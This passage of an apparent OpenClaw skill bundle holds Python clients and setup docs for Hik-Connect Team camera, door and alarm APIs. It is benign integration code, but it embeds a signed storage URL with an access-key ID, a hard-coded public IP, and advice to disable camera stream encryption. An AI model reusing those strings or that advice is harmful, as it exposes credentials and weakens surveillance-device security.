base_info.get("name", "Unknown"),
base_info.get("serialNo", "Unknown"),
base_info.get("category", "Unknown"),
base_info.get("type", "Unknown"),
status,
base_info.get("version", "Unknown"),
"Enabled" if base_info.get("streamEncryptEnable", "0") == "1" else "Disabled",
]]
self.print_table("HCTOpen Device Detail", headers, rows)
# Maintain output format
self.exit_with_json({
"success": True,
"total": 1,
"devices": [{
"base_info": filtered_base_info,
"onlineStatus": data.get("onlineStatus")
}]
})
else:
# Use unified message field
print(f"[ERROR] Failed to get device details: {result.get('message', 'Unknown error')}")
self.exit_with_json({
"success": False,
"error": result.get("message", "Unknown error"),
"errorCode": result.get("errorCode")
})
def main():
parser = argparse.ArgumentParser(description="HCTOpen Get Device Detail")
parser.add_argument("device_serial", help="Device serial number")
args = parser.parse_args()
client = DeviceDetailClient()
client.get_detail(args.device_serial)
if __name__ == "__main__":
main()
FILE:modules/Hik-Connect_Team_Resource/scripts/list_devices.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
HCTOpen Device List
"""
import sys
import os
import argparse
import json
from datetime import datetime
# Robust lib directory import logic: search upward until lib directory is found
def setup_lib_path():
current_dir = os.path.dirname(os.path.abspath(__file__))
# Search upward 3 levels for root directory containing lib
root_dir = current_dir
for _ in range(3):
root_dir = os.path.dirname(root_dir)
potential_lib = os.path.join(root_dir, "lib")
if os.path.exists(potential_lib):
if potential_lib not in sys.path:
sys.path.insert(0, potential_lib)
return True
return False
if not setup_lib_path():
print("[ERROR] Cannot find lib directory, please ensure script is located in Hik-Connect_Team Skills directory structure")
sys.exit(1)
from token_manager import HCTOpenClient
class DeviceListClient(HCTOpenClient):
"""Device list query client"""
def fetch_devices(self, page: int = 1, page_size: int = 10, device_category: str = None, match_key: str = None):
"""Get device list and print"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Getting device list (page {page}, {page_size} items per page)...")
# Validate match_key requirement
if match_key and not device_category:
print("[WARNING] match-key is only effective when device-category is specified.")
endpoint = "/api/hccgw/resource/v1/devices/get"
payload = {"pageIndex": page, "pageSize": page_size}
# Add device category filter if specified
if device_category:
payload["deviceCategory"] = device_category
if match_key:
payload["filter"] = {"matchKey": match_key}
print(payload)
# Resource module API uses "Token" as Header Key
result = self.request("POST", endpoint, json_data=payload, token_header_key="Token")
if result.get("errorCode") == "0":
data = result.get("data", {})
devices = data.get("device", [])
total = len(devices)
headers = ["No.", "Device ID", "Device Serial Number", "Device Name", "Model", "Version", "Device Type", "Added Time", "Status"]
rows = []
for i, dev in enumerate(devices, 1):
status = "Online" if dev.get("onlineStatus") == 1 else "Offline"
rows.append([
i,
dev.get("id"),
dev.get("serialNo", "Unknown"),
dev.get("name", "Unknown"),
dev.get("type", "Unknown"),
dev.get("version", "-"),
dev.get("category", "Unknown"),
dev.get("addTime", "Unknown"),
status
])
self.print_table(f"HCTOpen Device List (Current page count: {total})", headers, rows)
self.exit_with_json({
"success": True,
"total": total,
"devices": [
{
"id": d.get("id"),
"deviceName": d.get("name"),
"serialNo": d.get("serialNo"),
"type": d.get("type"),
"onlineStatus": d.get("onlineStatus"),
"category": d.get("category"),
"addTime": d.get("addTime"),
}
for d in devices
]
})
else:
# Use unified message field
print(f"[ERROR] Failed to get device list: {result.get('message', 'Unknown error')}")
self.exit_with_json({
"success": False,
"error": result.get("message", "Unknown error"),
"errorCode": result.get("errorCode")
})
def main():
parser = argparse.ArgumentParser(description="HCTOpen Get Device List")
parser.add_argument("--page", type=int, default=1, help="Page number (default: 1)")
parser.add_argument("--page-size", type=int, default=10, help="Page size (default: 10)")
parser.add_argument("--device-category", type=str, default=None,
help="Device category filter (encodingDevice, accessControllerDevice, alarmDevice, videoIntercomDevice, mobileDevice, businessDisplayDevice)")
parser.add_argument("--match-key", type=str, default=None,
help="Fuzzy match key for device name or serial number. Only effective when device-category is specified.")
args = parser.parse_args()
client = DeviceListClient()
client.fetch_devices(page=args.page, page_size=args.page_size, device_category=args.device_category, match_key=args.match_key)
if __name__ == "__main__":
main()
FILE:modules/Hik-Connect_Team_Resource/scripts/list_doors.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
HCTOpen Door List
"""
import sys
import os
import argparse
import json
from datetime import datetime
# Robust lib directory import logic: search upward until lib directory is found
def setup_lib_path():
current_dir = os.path.dirname(os.path.abspath(__file__))
# Search upward 3 levels for root directory containing lib
root_dir = current_dir
for _ in range(3):
root_dir = os.path.dirname(root_dir)
potential_lib = os.path.join(root_dir, "lib")
if os.path.exists(potential_lib):
if potential_lib not in sys.path:
sys.path.insert(0, potential_lib)
return True
return False
if not setup_lib_path():
print("[ERROR] Cannot find lib directory, please ensure script is located in Hik-Connect_Team Skills directory structure")
sys.exit(1)
from token_manager import HCTOpenClient
class DoorListClient(HCTOpenClient):
"""Door access resource list query client"""
def fetch_doors(self, device_serial: str):
"""Get door access resource list and print"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Getting door access resource list (Device serial number: {device_serial if device_serial else 'All'})...")
endpoint = "/api/hccgw/resource/v1/areas/doors/get"
# pageSize=100, pageIndex=1, includeSubArea=1 are fixed values
payload = {
"pageIndex": 1,
"pageSize": 100,
"filter": {
"includeSubArea": "1",
"deviceSerialNo": device_serial
}
}
# Resource module API uses "Token" as Header Key
result = self.request("POST", endpoint, json_data=payload, token_header_key="Token")
if result.get("errorCode") == "0":
data = result.get("data", {})
doors = data.get("door", [])
total = len(doors)
headers = ["No.", "Door Resource ID", "Door Access Name", "Status"]
rows = []
simplified_doors = []
for i, door in enumerate(doors, 1):
status = "Online" if door.get("online") == "1" else "Offline"
rows.append([
i,
door.get("id"),
door.get("name", "Unknown"),
status
])
# Only keep id, name, online status
simplified_doors.append({
"resourceId": door.get("id"),
"name": door.get("name"),
"online": door.get("online")
})
self.print_table(f"HCTOpen Door Access Resource List (Count: {total})", headers, rows)
self.exit_with_json({
"success": True,
"total": total,
"doors": simplified_doors
})
else:
# Use unified message field
print(f"[ERROR] Failed to get door access resource list: {result.get('message', 'Unknown error')}")
self.exit_with_json({
"success": False,
"error": result.get("message", "Unknown error"),
"errorCode": result.get("errorCode")
})
def main():
parser = argparse.ArgumentParser(description="HCTOpen Get Door Access Resource List")
parser.add_argument("device_serial", help="Device serial number (optional)")
args = parser.parse_args()
client = DoorListClient()
client.fetch_doors(device_serial=args.device_serial)
if __name__ == "__main__":
main()
FILE:modules/Hik-Connect_Team_Capture/SKILL.md
---
name: hctopen-capture
description: |
HCTOpen device capture and decryption skill. Supports capture for specified device channel, and provides encrypted image decryption functionality. The returned capture address is cloud address instead of local address, can be accessed directly.
Use when: Need to get device real-time image or decrypt encrypted device image.
⚠️ Security Requirement: Must set environment variables: Hik-Connect Team OpenAPI AppKey, Hik-Connect Team OpenAPI SecretKey. (API Domain is automatically obtained from token response)
parameters:
- name: device-serial
type: string
description: "Device serial number"
required: true
- name: channel-no
type: string
description: "Channel number, default is 1"
default: "1"
responses:
- success: true
template: "Preview image generated for you, click link below to view:"
media: "image_card"
metadata:
openclaw:
emoji: "📸"
requires:
env: ["HIK_CONNECT_TEAM_OPENAPI_APP_KEY", "HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY"]
pip: ["requests", "pycryptodome", "Pillow"]
primaryEnv: "HIK_CONNECT_TEAM_OPENAPI_APP_KEY"
warnings:
- "May read ~/.openclaw/*.json for credentials (env vars have priority)"
config:
configFileRead:
paths:
- "~/.openclaw/config.json"
- "~/.openclaw/gateway/config.json"
- "~/.openclaw/channels.json"
priority: "lower than environment variables"
description: "Reads Hik-Connect Team credentials from OpenClaw config files as fallback"
---
# HCTOpen Capture
HCT is short for Hik-Connect for Teams, meaning Hik-Connect Team mode.
HCTOpen is short for Hik-Connect for Teams OpenAPI.
This Skill provides device real-time capture functionality, suitable for anomaly verification, real-time screen preview and other scenarios.
> **Note!!!**: This skill only provides capture capability. If device has stream encryption enabled causing image not viewable, user needs to manually decrypt in HCT!!! Skill has no decryption capability.
> **Important Pre-check Information**:
> - **Check device status before capturing**: Use the device detail function in the resource management module to verify if stream encryption is enabled
> - **Example command**: `python scripts/device_detail.py {device_serial}`
> - If `Stream Encryption` shows `Enabled`, you must disable it first before capture
---
## ⚠️ Security Warning (Read Before Use)
| # | Check Item | Status | Description |
|---|---------------------------|-------------|--------------------------------------------------------------------------------------------------------------------------|
| 1 | **Credential Permission** | ⚠️ Required | Please use credentials with **capture permission**, avoid using super admin credentials |
| 2 | **Image Encryption** | ⚠️ Note | If device has image encryption enabled, returned URL may not be directly viewable, user needs to manually decrypt in HCT |
| 3 | **Token Cache** | ✅ Encrypted | Token cached in system temp directory, only current user can read (600 permission) |
| 4 | **API Domain** | ✅ Auto | API domain is automatically obtained from token response (no longer requires manual configuration) |
---
## 🚀 Quick Start
```bash
# Scenario 1: Capture image for specified device serial number (channel number defaults to 1)
python scripts/capture_pic.py L33721705
# Scenario 2: Capture image for specified device serial number and channel number
python scripts/capture_pic.py D72821502,2
```
---
## 🛠 Workflow
```mermaid
graph TD
A[Start Script] --> B{Check Environment Variables}
B -- Missing --> C[Report Error and Exit]
B -- Pass --> D[Get AccessToken]
D --> E{Is Token Valid?}
E -- Cache Valid --> F[Use Cache Directly]
E -- Expired/No Cache --> G[Call API to Get New Token]
G --> H[Save to Local Cache]
F --> I[Send Capture Request]
H --> I
I --> J{Parse Return Result}
J -- Success --> K[Print Capture URL and Encryption Status]
J -- Failed --> L[Print Error Message]
K --> M[Output JSON Result]
L --> M
M --> N[End]
```
---
## 📋 API Parameter Details
### 1. Device Capture Request Parameters
**Endpoint**: `POST /api/hccgw/resource/v1/device/capturePic`
| Parameter Name | Type | Description | Required | Default | Notes |
|----------------|--------|----------------------|----------|---------|--------------------------|
| `deviceSerial` | String | Device serial number | **Yes** | - | Device unique identifier |
| `channelNo` | String | Channel number | No | "1" | Default is 1 |
### 2. API Return Data Description
| Field Name | Type | Description | Notes |
|---------------|---------|-------------------------|--------------------------------------------------|
| `captureUrl` | String | Capture preview address | Directly accessible image URL (if not encrypted) |
| `isEncrypted` | Integer | Is encrypted | 0-not encrypted, 1-encrypted |
---
## 📝 Output Example
### Capture Success Example:
```text
[2026-04-25 22:25:18] Requesting capture: Device=D72821502, Channel=1
[SUCCESS] Capture successful: https://hpc-sgp-prod-s3-hccvis.oss-ap-southeast-1.aliyuncs.com/hccopen/capture/2026-04-25/D72821502/1/c4d29884-5d0c-47d9-8db7-3ccccd6eaf3b.jpeg?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20260425T142521Z&X-Amz-SignedHeaders=host&X-Amz-Expires=900&X-Amz-Credential=LTAI5tQckMpJxMb4qoHXJySP%2F20260425%2Foss-ap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=6dbe52fb30120e3fb65a9e5bed420e5e1dea07c5a78a15eca47f105809babb69
[JSON Output]
{
"success": true,
"captureUrl": "https://hpc-sgp-prod-s3-hccvis.oss-ap-southeast-1.aliyuncs.com/hccopen/capture/2026-04-25/D72821502/1/c4d29884-5d0c-47d9-8db7-3ccccd6eaf3b.jpeg?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20260425T142521Z&X-Amz-SignedHeaders=host&X-Amz-Expires=900&X-Amz-Credential=LTAI5tQckMpJxMb4qoHXJySP%2F20260425%2Foss-ap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=6dbe52fb30120e3fb65a9e5bed420e5e1dea07c5a78a15eca47f105809babb69",
"isEncrypted": 0
}
======================================================================
Done
======================================================================
```
---
## 📂 File Structure
```text
├── scripts/
│ └── capture_pic.py # Device capture core execution script
└── SKILL.md # Skill usage documentation
```
---
## ❓ FAQ
- **Q: Why can't the image be opened?**
- A: **There are two main possible reasons:**
1. **Device has stream encryption enabled**: First check using device detail script (`python scripts/device_detail.py {device_serial}`). If it shows `Stream Encryption: Enabled`, you must disable it in HCT platform first
2. **The returned image's `isEncrypted` field is 1**: This means the captured image is encrypted, same solution - disable stream encryption and retry
- **Q: How long is capture URL valid?**
- A: Valid for 15 minutes, please view or download as soon as possible.
- **Q: What if "Device offline" is shown?**
- A: Capture function requires device to be online, please first confirm device status through resource management module.
- **Q: Returned image is a URL address?**
- A: If user didn't explicitly mention needing URL address, default to returning image to user.
---
---
**Error Codes**:
| Return Code | Return Message | Description |
|-------------|-------------------------|-------------------------------------------------------------|
| OPEN000554 | Device Offline | Device is offline, please check device online status |
| OPEN000555 | Device Response Timeout | Device response timeout, please check device network status |
| OPEN000556 | Device Capture Failed | Device capture failed |
---
FILE:modules/Hik-Connect_Team_Capture/scripts/capture_pic.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
HCTOpen Device Picture Capture
"""
import sys
import os
import json
import argparse
from datetime import datetime
# Robust lib directory import logic: search upward until lib directory is found
def setup_lib_path():
current_dir = os.path.dirname(os.path.abspath(__file__))
# Search upward 3 levels for root directory containing lib
root_dir = current_dir
for _ in range(3):
root_dir = os.path.dirname(root_dir)
potential_lib = os.path.join(root_dir, "lib")
if os.path.exists(potential_lib):
if potential_lib not in sys.path:
sys.path.insert(0, potential_lib)
return True
return False
if not setup_lib_path():
print("[ERROR] Cannot find lib directory, please ensure script is located in Hik-Connect_Team Skills directory structure")
sys.exit(1)
from token_manager import HCTOpenClient
class CaptureClient(HCTOpenClient):
"""Device capture client"""
def capture(self, device_serial: str, channel_no: int = 1):
"""Execute capture operation"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Requesting capture: Device={device_serial}, Channel={channel_no}")
endpoint = "/api/hccgw/resource/v1/device/capturePic"
payload = {
"deviceSerial": device_serial,
"channelNo": str(channel_no)
}
# Capture module API uses "Token" as Header Key
result = self.request("POST", endpoint, json_data=payload, token_header_key="Token")
if result.get("errorCode") == "0":
data = result.get("data", {})
capture_url = data.get("captureUrl")
is_encrypted = data.get("isEncrypted")
if capture_url:
print(f"[SUCCESS] Capture successful: {capture_url}")
if is_encrypted == 1:
print("[INFO] Note: Image is encrypted, need to use key to decrypt before viewing")
self.exit_with_json({
"success": True,
"captureUrl": capture_url,
"isEncrypted": is_encrypted
})
else:
print("[ERROR] Response does not contain capture URL")
self.exit_with_json({"success": False, "error": "Capture URL not found"})
else:
# Use unified message field
print(f"[ERROR] Capture failed: {result.get('message', 'Unknown error')}")
self.exit_with_json({
"success": False,
"error": result.get("message", "Unknown error"),
"errorCode": result.get("errorCode")
})
def main():
parser = argparse.ArgumentParser(description="HCTOpen Device Capture")
parser.add_argument("device_info", help="Device serial number, optional comma-separated channel number (e.g. D72821502,1)")
args = parser.parse_args()
parts = args.device_info.split(",")
device_serial = parts[0].strip()
channel_no = 1
if len(parts) > 1:
try:
channel_no = int(parts[1].strip())
except ValueError:
print("[ERROR] Channel number must be integer")
sys.exit(1)
client = CaptureClient()
client.capture(device_serial, channel_no)
if __name__ == "__main__":
main()
FILE:modules/Hik-Connect_Team_Alarm/EVENT_CODES.md
# HCT Alarm Event Codes & Descriptions
This document lists the alarm event codes supported by HCT platform and their corresponding detailed descriptions for reference when subscribing.
## 1. Video Intercom
| Event Code | Description |
|:------------|:-------------------------------------|
| `Msg140001` | Messages about video intercom events |
## 2. On-Board Monitoring
| Event Code | Description |
|:------------|:----------------------------------|
| `Msg330001` | GPS Data Report |
| `Msg330101` | Alarm Triggered by Panic Button |
| `Msg330102` | Alarm Input |
| `Msg330201` | Forward Collision Warning |
| `Msg330202` | Headway Monitoring Warning |
| `Msg330203` | Lane Deviation Warning |
| `Msg330204` | Pedestrian Collision Warning |
| `Msg330205` | Speed Limit Warning |
| `Msg330301` | Blind Spot Warning |
| `Msg330401` | Sharp Turn |
| `Msg330402` | Sudden Brake |
| `Msg330403` | Sudden Acceleration |
| `Msg330404` | Rollover |
| `Msg330405` | Speeding |
| `Msg330406` | Collision |
| `Msg330407` | ACC ON |
| `Msg330408` | ACC OFF |
| `Msg330501` | Smoking |
| `Msg330502` | Using Mobile Phone |
| `Msg330503` | Fatigue Driving |
| `Msg330504` | Distraction |
| `Msg330505` | Seatbelt Unbuckled |
| `Msg330506` | Video Tampering |
| `Msg330507` | Yawning |
| `Msg330508` | Wearing IR Interrupted Sunglasses |
| `Msg330509` | Absence |
| `Msg330510` | Front Passenger Detection |
| `Msg335000` | Person and Vehicle Match |
| `Msg335001` | Person and Vehicle Mismatch |
## 3. Authentication Event
| Event Code | Description |
|:------------|:-------------------------------------------------|
| `Msg110001` | Access Granted by Card and Fingerprint |
| `Msg110002` | Access Granted by Card, Fingerprint, and PIN |
| `Msg110003` | Access Granted by Card |
| `Msg110004` | Access Granted by Card and PIN |
| `Msg110005` | Access Granted by Fingerprint |
| `Msg110006` | Access Granted by Fingerprint and PIN |
| `Msg110007` | Duress Alarm |
| `Msg110008` | Access Granted by Face and Fingerprint |
| `Msg110009` | Access Granted by Face and PIN |
| `Msg110010` | Access Granted by Face and Card |
| `Msg110011` | Access Granted by Face, PIN, and Fingerprint |
| `Msg110012` | Access Granted by Face, Card, and Fingerprint |
| `Msg110013` | Access Granted by Face |
| `Msg110018` | Access Granted via Combined Authentication Modes |
| `Msg110019` | Skin-Surface Temperature Measured |
| `Msg110020` | Password Authenticated |
| `Msg110022` | Access Granted by Bluetooth |
| `Msg110023` | Access Granted via QR Code |
| `Msg110024` | Access Granted via Keyfob |
| `Msg110501` | Verifying Card Encryption Failed |
| `Msg110502` | Max. Card Access Failed Attempts |
| `Msg110505` | Card No. Expired |
| `Msg110506` | Access Timed Out by Card and PIN |
| `Msg110507` | Access Denied - Door Remained Locked or Inactive |
| `Msg110509` | Access Denied by Card and PIN |
| `Msg110510` | Access Timed Out by Card, Fingerprint, and PIN |
| `Msg110511` | Access Denied by Card, Fingerprint, and PIN |
| `Msg110512` | Access Denied by Card and Fingerprint |
| `Msg110513` | Access Timed Out by Card and Fingerprint |
| `Msg110514` | No Access Level Assigned |
| `Msg110515` | Card No. Does Not Exist |
| `Msg110516` | Invalid Time Period |
| `Msg110517` | Fingerprint Does Not Exist |
| `Msg110518` | Access Denied by Fingerprint |
| `Msg110519` | Access Denied by Fingerprint and PIN |
| `Msg110520` | Access Timed Out by Fingerprint and PIN |
| `Msg110521` | Access Denied by Face and Fingerprint |
| `Msg110522` | Access Timed Out by Face and Fingerprint |
| `Msg110523` | Access Denied by Face and PIN |
| `Msg110524` | Access Timed Out by Face and PIN |
| `Msg110525` | Access Denied by Face and Card |
| `Msg110526` | Access Timed Out by Face and Card |
| `Msg110527` | Access Denied by Face, PIN, and Fingerprint |
| `Msg110528` | Access Timed Out by Face, PIN, and Fingerprint |
| `Msg110529` | Access Denied by Face, Card, and Fingerprint |
| `Msg110530` | Access Timed Out by Face, Card, and Fingerprint |
| `Msg110531` | Access Denied by Face |
| `Msg110533` | Live Facial Detection Failed |
| `Msg110545` | Combined Authentication Timed Out |
| `Msg110546` | Access Denied by Invalid M1 Card |
| `Msg110547` | Verifying CPU Card Encryption Failed |
| `Msg110548` | Access Denied - NFC Card Reading Disabled |
| `Msg110549` | EM Card Reading Not Enabled |
| `Msg110550` | M1 Card Reading Not Enabled |
| `Msg110551` | CPU Card Reading Disabled |
| `Msg110552` | Authentication Mode Mismatch |
| `Msg110554` | Max. Card and Password Authentication Times |
| `Msg110555` | Password Mismatches |
| `Msg110556` | Employee ID Does Not Exist |
| `Msg110557` | Access Denied: Scheduled Sleep Mode |
| `Msg110559` | Verifying Desfire Card Encryption Failed |
| `Msg110560` | Absence |
| `Msg110561` | Authentication Failed Due to Abnormal Features |
| `Msg110564` | Access Denied by Bluetooth |
| `Msg110565` | Access Denied by QR Code |
| `Msg110566` | Verifying QR Code Secret Key Failed |
| `Msg110567` | Access Denied via Keyfob |
FILE:modules/Hik-Connect_Team_Alarm/SKILL.md
---
name: hctopen-alarm
description: |
HCTOpen alarm webhook subscription and push management skill. Supports subscribing to alarm events and receiving real-time notifications via Webhook.
Use when: Need to configure webhook for receiving HCT alarm pushes, subscribe/unsubscribe to alarm events.
⚠️ Security Requirement: Must set environment variables: Hik-Connect Team OpenAPI AppKey, Hik-Connect Team OpenAPI SecretKey. (API Domain is automatically obtained from token response)
⚠️ Prerequisites:
- Requires public HTTPS URL (self-owned server or tunnel like ngrok) to receive webhook pushes from HCT platform.
- ⚠️ Key Constraint: The server hosting the public HTTPS URL must be able to reach OpenClaw Gateway's port (dynamically detected from openclaw.json). If OpenClaw is on a different server behind NAT/firewall and unreachable externally, third-party webhook receiver services (e.g., Pipedream, AWS Lambda URL) will NOT work — they only receive and cannot forward to internal OpenClaw. In that case, you must use a tunnel tool (ngrok/cpolar) on the OpenClaw server to create a public entry point instead.
metadata:
openclaw:
emoji: "🔔"
requires:
env: ["HIK_CONNECT_TEAM_OPENAPI_APP_KEY", "HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY"]
npm: ["nodejs"]
primaryEnv: "HIK_CONNECT_TEAM_OPENAPI_APP_KEY"
warnings:
- "May read ~/.openclaw/*.json for credentials (env vars have priority)"
config:
configFileRead:
paths:
- "~/.openclaw/config.json"
- "~/.openclaw/gateway/config.json"
- "~/.openclaw/channels.json"
priority: "lower than environment variables"
description: "Reads Hik-Connect Team credentials from OpenClaw config files as fallback"
---
# Hik-Connect_Team_Alarm (HCT Alarm Push Management)
## 1. Module Introduction
`Hik-Connect_Team_Alarm` module is designed to help users implement real-time push of HCT alarm messages through Webhook mechanism. This module integrates a complete closed-loop process of **public network access guidance**, **Webhook receiving service**, **OpenClaw Hooks configuration** and **HCT platform subscription**.
This document details how to configure the HCT Open platform Webhook alarm push process. The core idea is to use public network address to receive alarm data pushed by HCT Open platform, forward it to internal network Webhook receiving service, and finally have OpenClaw agent organize and send message notifications.
The overall architecture flow is as follows: HCT Open Platform → Public Network Tunnel/Self-owned Server → Webhook Service(:3090) → OpenClaw Hooks → Message Notification
> **Core Logic**: HCT Platform pushes messages to public network Webhook address -> Webhook service receives and verifies signature -> Forward to OpenClaw Hooks -> Agent organizes and sends notification.
---
### 1.1 Complete Data Flow and Port Responsibilities
The full alarm push data flow spans multiple components. Understanding which port belongs to which process is critical for troubleshooting:
```
HCT Platform (port 443 HTTPS)
↓ sends POST / GET
[Public Internet]
↓
Reverse Proxy / Tunnel (server:443) — receives on public HTTPS address
↓ forwards internally
Webhook Receiving Service (server.js, port 3090 by default) — validates signature, extracts alarm data
↓ forwards internally
OpenClaw Gateway (port shown as gateway.port in openclaw.json, dynamically detected) — receives via /hooks/agent
↓ triggers
OpenClaw Agent → formats message → sends to notification channel (Feishu/Telegram/etc.)
```
**Port Responsibilities Table:**
| Port | Process | Role | Who Owns It |
|------------------------------|-------------------------------------------------|----------------------------------------------------------------------------|---------------------------------|
| 443 (HTTPS) | Reverse proxy (Caddy/nginx/etc.) or tunnel tool | Public entry point, receives from HCT platform | User's server or tunnel service |
| 3090 (default) | server.js (webhook receiving service) | Receives from reverse proxy, validates HMAC signature, extracts alarm data | OpenClaw server |
| gateway port (auto-detected) | OpenClaw Gateway | Receives via `/hooks/agent`, triggers agent processing | OpenClaw server |
---
## 2. Core Workflow (Detailed Version)
### 2.1 Flowchart
```mermaid
sequenceDiagram
participant User as User
participant Agent as Agent (AI Assistant)
participant Tool as Alarm Module (Python)
participant HCT as HCT Open Platform
participant Proxy as Public Network Tunnel (Optional)
participant Srv as Webhook Receiving Service (server.js)
participant OpenClaw as OpenClaw Hooks
participant Notify as OpenClaw Agent
Note over User, Agent: **Phase 0: OpenClaw Hooks Readiness Check**
Agent->>Agent: Run pre_check.py
alt hooks not ready
Agent->>User: Ask: "Modify hooks config and restart gateway? (yes/no)"
User->>Agent: User confirms
end
Note over User, Agent: **⚠️ Gate 1: Public URL Plan (NO TUNNEL without explicit Option B)**
Agent->>User: Ask: "Who hosts the public HTTPS URL? (A: own server / B: tunnel / C: own URL)"
User->>Agent: User confirms plan
Note right of Agent: **🚨 ABSOLUTE RULE: Tunnel only if user explicitly chose Option B**
Note over User, Agent: **⚠️ Gate 2: Signing Secret**
Agent->>User: Ask: "Provide an 8-32 character signing secret"
User->>Agent: User provides secret (BLOCK if no answer)
Note over User, Srv: **Phase 3: Service Startup**
User->>Srv: Start Webhook receiving service
User->>Srv: Verify public URL is reachable
Note over User, Srv: **Phase 4: Webhook Registration**
User->>Tool: Run `webhook_manager.py save --url <public URL> --secret <secret>`
Tool->>HCT: POST `/api/hccgw/webhook/v1/config/save`
HCT->>Srv: GET `<public URL>` (verification request)
Srv-->>HCT: Return `200 OK` + signature Header
HCT-->>Tool: Return `errorCode: "0"`
Tool-->>User: Prompt Webhook registration successful
Note over User, Srv: **Phase 5: Event Subscription**
Agent->>User: Present event types from EVENT_CODES.md
User->>Agent: User confirms which events
Agent->>Tool: Run `event_manager.py subscribe --types "chosen_types"`
Tool->>HCT: POST `/api/hccgw/rawmsg/v1/mq/subscribe`
HCT-->>Tool: Return `errorCode: "0"`
Note over User, Srv: **Phase 6: Alarm Push and Message Processing**
HCT->>Srv: POST `<public URL>` (alarm data)
Srv-->>HCT: Return `200 OK`
Srv->>OpenClaw: POST `/hooks/agent`
OpenClaw->>Notify: Trigger Agent processing
Notify->>User: Send notification via the configured channel
```
### 2.2 Stage-by-Stage Operation Guide
---
## ⚠️ 2.2.0 Phase 0: OpenClaw Hooks Readiness Check (ALWAYS RUN FIRST)
> **Important**: Before doing ANYTHING else, you MUST verify that OpenClaw hooks is properly configured. This is a hard prerequisite. If hooks is not set up, the alarm push chain will break silently.
### Step 0-1: Run Pre-Check Script
```bash
cd <skill-directory>/modules/Hik-Connect_Team_Alarm/scripts
python pre_check.py
```
The script checks all 6 items automatically.
### Step 0-2: If Hooks Needs Configuration — Ask User FIRST
If `hooks.enabled` is not `true` or `hooks.token` is missing:
**STOP and ask the user explicitly:**
> "OpenClaw hooks is not configured on this server. To receive alarm pushes, I need to:
> 1. Add a `hooks` section to `~/.openclaw/openclaw.json`
> 2. Restart the OpenClaw Gateway
>
> This will cause a brief interruption to the OpenClaw service (typically a few seconds).
>
> Do you want me to proceed? (yes/no)"
Only proceed if the user confirms. If confirmed:
- Generate a new token: `openssl rand -hex 24`
- Add to `~/.openclaw/openclaw.json`:
```json
{
"hooks": {
"enabled": true,
"token": "<generated token>"
}
}
```
- Restart gateway: `openclaw gateway restart`
- Verify: `curl http://127.0.0.1:<port>/hooks/agent` returns 200 or 400 (not 404)
> ⚠️ Do NOT add `defaultSessionKey` to hooks config — it causes `Malformed agent session key` errors.
Only proceed to Phase 1 after pre-check passes or after hooks is confirmed ready.
---
## ⚠️ 2.2.1 Phase 1: Public URL Plan — MUST Confirm Before Taking Action
### Step 1-1: Query Current Status
Show the user their existing webhook and subscription state:
```bash
cd <skill-directory>/modules/Hik-Connect_Team_Alarm/scripts
python webhook_manager.py query
python event_manager.py query
```
### Step 1-2: Ask About Public URL Plan (CONFIRMATION GATE — ABSOLUTE BLOCKER)
**Ask the user the following question and WAIT for their answer before proceeding:**
> "To receive alarm pushes from HCT, I need a public HTTPS URL that HCT can call. How do you want to handle this?"
>
> Please choose one of the following options:
>
> **Option A — Use your own server (most stable)**
> You have a public IP (124.222.61.228). If you have a domain name pointing to this IP, I can help you set up a reverse proxy (nginx/Caddy) to route HTTPS traffic to the webhook service.
>
> **Option B — Use a tunnel tool on this server**
> I can set up ngrok, cloudflared, or similar on this server to create a public HTTPS URL. This is free but the tunnel may occasionally disconnect.
>
> **Option C — You have your own public HTTPS URL**
> Provide your own URL and I'll configure the webhook service to use it.
>
> Which option do you prefer? (A / B / C, or describe your situation)"
**🚨 ABSOLUTE RULE — No Tunnel Tool Without Explicit User Request:**
> **UNDER NO CIRCUMSTANCES may the Agent install, configure, or start any tunnel tool (ngrok, cloudflared, cpolar, serveo, localtunnel, bore, etc.) unless the user has explicitly and affirmatively chosen Option B or otherwise explicitly asked for a tunnel tool in their own words.**
>
> This rule is absolute and non-negotiable. Violations include:
> - Installing a tunnel tool before the user has chosen Option B
> - Starting a tunnel without the user's explicit consent
> - Creating a public URL without the user confirming tunnel as their chosen approach
> - Using a tunnel as a "temporary" or "quick test" solution without explicit approval
>
> If the user does not respond to the question, re-ask. If the user is unclear, ask follow-up questions. Do not proceed.
**Decision Rules Based on User Response:**
| User Response | Agent Action |
|:---|:---|
| Option A (has domain) | Ask for domain → help configure reverse proxy → proceed |
| **Option B (tunnel)** | **Only then** install/configure tunnel tool → proceed |
| Option C (own URL) | Ask for the URL → verify it points to this server's 3090 → proceed |
| Says nothing / unclear | Ask follow-up question — do NOT proceed until clarified |
| Has no domain, no tunnel preference | Recommend Option A if public IP exists, otherwise explain limitation |
> ⚠️ **Critical**: Do NOT generate any public URL, do NOT install any tunnel tool, do NOT start any tunnel process until the user has explicitly chosen Option B (or equivalent explicit tunnel request). If the user does not respond, ask again.
---
## ⚠️ 2.2.2 Phase 2: Collect Signing Secret — Must Have Before Service Start
**Ask the user:**
> "Provide an 8-32 character signing secret for webhook verification. This will be used to verify that alarm pushes are genuinely from Hik-Connect. Please provide a secret now (e.g. yourname2026):"
**Rules:**
- **Do NOT generate or invent a default secret** — the user MUST provide this.
- **BLOCK on this step** — do not proceed to Phase 3 until the user provides a secret.
- Record the secret. It will be used in:
- `webhook_manager.py save --secret <secret>`
- `HIK_SIGN_SECRET` environment variable for server.js
---
## ⚠️ 2.2.3 Phase 3: Start Webhook Service — Only After Phases 1 & 2 Are Complete
### Step 3-1: Install Dependencies
```bash
cd <skill-directory>/modules/Hik-Connect_Team_Alarm/scripts
npm install
```
### Step 3-2: Get OpenClaw Gateway Port
```bash
PORT=$(cat ~/.openclaw/openclaw.json | grep -oP '"port":\s*\K\d+')
echo "OpenClaw Gateway port: $PORT"
```
### Step 3-3: Start Webhook Receiving Service
